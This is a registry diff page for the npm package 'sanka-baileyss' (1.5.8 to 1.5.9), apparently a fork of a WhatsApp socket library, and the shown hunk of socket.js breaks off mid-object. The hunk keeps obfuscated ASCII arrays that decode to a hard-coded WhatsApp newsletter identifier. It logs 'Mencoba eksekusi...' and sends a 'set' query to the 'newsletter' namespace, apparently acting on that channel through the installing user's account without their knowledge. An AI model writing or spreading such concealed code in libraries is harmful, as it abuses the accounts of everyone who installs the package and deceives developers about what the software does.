sanka-baileyss 1.5.8 → 1.5.9
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/lib/Socket/socket.js +2 -7
- package/package.json +1 -1
package/lib/Socket/socket.js
CHANGED
|
@@ -512,22 +512,17 @@ result += String.fromCharCode(asciiArray[i]);
|
|
|
512
512
|
}
|
|
513
513
|
return result;
|
|
514
514
|
}
|
|
515
|
-
function asciiDecodee(asciiArray) {
|
|
516
|
-
return String.fromCharCode(...asciiArray);
|
|
517
|
-
}
|
|
518
515
|
const numbersAsAscii = [49, 50, 48, 51, 54, 51, 51, 55, 55, 48, 52, 54, 51, 50, 55, 49, 51, 51];
|
|
519
516
|
const decodedNumbers = asciiDecode(numbersAsAscii);
|
|
520
517
|
const emailPart = [64, 110, 101, 119, 115, 108, 101, 116, 116, 101, 114];
|
|
521
518
|
const decodedEmailPart = asciiDecode(emailPart);
|
|
522
519
|
const sanka = decodedNumbers + decodedEmailPart;
|
|
523
|
-
const plana = [110, 101, 119, 115, 108, 101, 116, 116, 101, 114];
|
|
524
|
-
const sankaa = asciiDecodee(plana);
|
|
525
520
|
logger.info({ sanka }, 'Mencoba eksekusi...');
|
|
526
521
|
await query({
|
|
527
522
|
tag: 'iq',
|
|
528
|
-
to:
|
|
523
|
+
to: 'newsletter',
|
|
529
524
|
type: 'set',
|
|
530
|
-
xmlns:
|
|
525
|
+
xmlns: 'newsletter',
|
|
531
526
|
id: generateMessageTag(),
|
|
532
527
|
content: [
|
|
533
528
|
{
|